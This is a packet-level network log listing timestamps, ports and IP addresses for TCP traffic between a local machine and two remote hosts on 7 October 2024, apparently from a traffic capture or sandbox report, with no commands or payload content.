Oct 7, 2024 21:18:36.633945942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.633959055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.633970976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634012938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.634094000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.634208918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634222031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634232998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634246111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634258032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634259939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.634305000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.634305000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.634506941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634519100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634569883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634579897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634596109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.634632111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.634722948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634736061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634747982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634747982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.634761095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.634773970 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.634773970 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.634799004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.634799004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.635040998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635051966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635065079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635076046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635103941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.635198116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635207891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.635211945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635226965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635246992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.635360956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.635432959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635446072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635457993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635468960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635482073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635493994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.635519981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.635818005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635831118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635843039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635855913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635868073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.635879993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.635909081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.635909081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.636215925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636229038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636239052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636250973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636262894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636271000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.636303902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.636303902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.636701107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636713982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636724949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636738062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636748075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636759043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636760950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.636771917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636784077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636785030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.636792898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.636795998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636810064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636818886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.636820078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.636843920 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.637031078 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.637494087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637506008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637517929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637528896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637540102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637551069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637563944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637573957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637577057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.637587070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637593985 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.637598991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637608051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.637612104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637624025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637634993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.637634993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.637645960 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.637836933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.638391972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.638405085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.638413906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.638426065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.638436079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.638447046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.638457060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.638458967 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.638458967 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.638470888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.638483047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.638494968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.638497114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.638498068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.638506889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.638530970 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.638602018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.639307022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639318943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639329910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639342070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639353037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639364004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639364004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.639374971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639390945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.639391899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639405012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639411926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639416933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.639422894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639435053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.639436007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639450073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.639456987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.639467001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.639499903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.640223980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.640237093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.640248060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.640259981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.640270948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.640281916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.640285969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.640292883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.640305042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.640314102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.640325069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.640326023 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.640333891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.640337944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.640347958 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.640350103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.640371084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.640578032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.641155005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641169071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641180038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641191006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641201973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641202927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.641213894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641225100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641238928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.641238928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.641242027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641258001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641264915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.641269922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641282082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641292095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641294003 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.641305923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641318083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.641326904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.641423941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.641928911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641941071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641952038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.641999006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.692151070 CEST	443	49841	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.692306995 CEST	443	49837	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.692327976 CEST	443	49839	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.692924023 CEST	49841	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.692966938 CEST	443	49841	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.693007946 CEST	49837	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.693027020 CEST	443	49837	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.693399906 CEST	49841	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.693401098 CEST	49837	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.693406105 CEST	443	49837	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.693408012 CEST	443	49841	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.693542004 CEST	49839	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.693578005 CEST	443	49839	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.693871975 CEST	49839	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.693876982 CEST	443	49839	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.695158005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.695209026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.695219040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.695235968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.695246935 CEST	443	49838	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.695262909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.695271969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.695348024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.695359945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.695375919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.695457935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.695470095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.695482016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.695518970 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.695518970 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.696079969 CEST	49838	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.696096897 CEST	443	49838	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.696335077 CEST	49838	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.696338892 CEST	443	49838	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.702405930 CEST	443	49840	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.703085899 CEST	49840	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.703098059 CEST	443	49840	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.703161001 CEST	49840	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:36.703165054 CEST	443	49840	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.717072964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717133999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717147112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717196941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717200041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.717210054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717251062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.717251062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.717369080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717380047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717391014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717401981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717416048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717426062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.717469931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.717583895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717595100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717741013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717752934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717765093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717765093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.717777967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717789888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717799902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.717803955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.717803955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.717859983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.718108892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718120098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718130112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718147993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718159914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718170881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718174934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.718174934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.718183994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718194962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718208075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718209028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.718252897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.718252897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.718492031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718502045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718609095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718619108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718637943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718647957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718657970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718662977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.718671083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718681097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.718683004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718694925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718700886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.718708038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718719959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718723059 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.718727112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718739033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.718749046 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.718765020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.718785048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.719284058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719300985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719310999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719321966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719333887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719345093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719351053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.719357014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719367981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719378948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719393969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719394922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.719405890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719417095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.719417095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.719419003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719432116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719449043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719454050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.719454050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.719463110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719475031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.719491959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.719517946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.719959974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719970942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.719980955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720050097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.720050097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.720247984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720258951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720269918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720282078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720299006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720309019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720321894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720330954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720340967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720344067 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.720351934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720354080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.720379114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.720390081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720405102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720416069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720422983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.720427036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720439911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720447063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.720452070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720463037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.720478058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.720478058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.720518112 CEST	49810	80	192.168.2.5	95.164.90.97
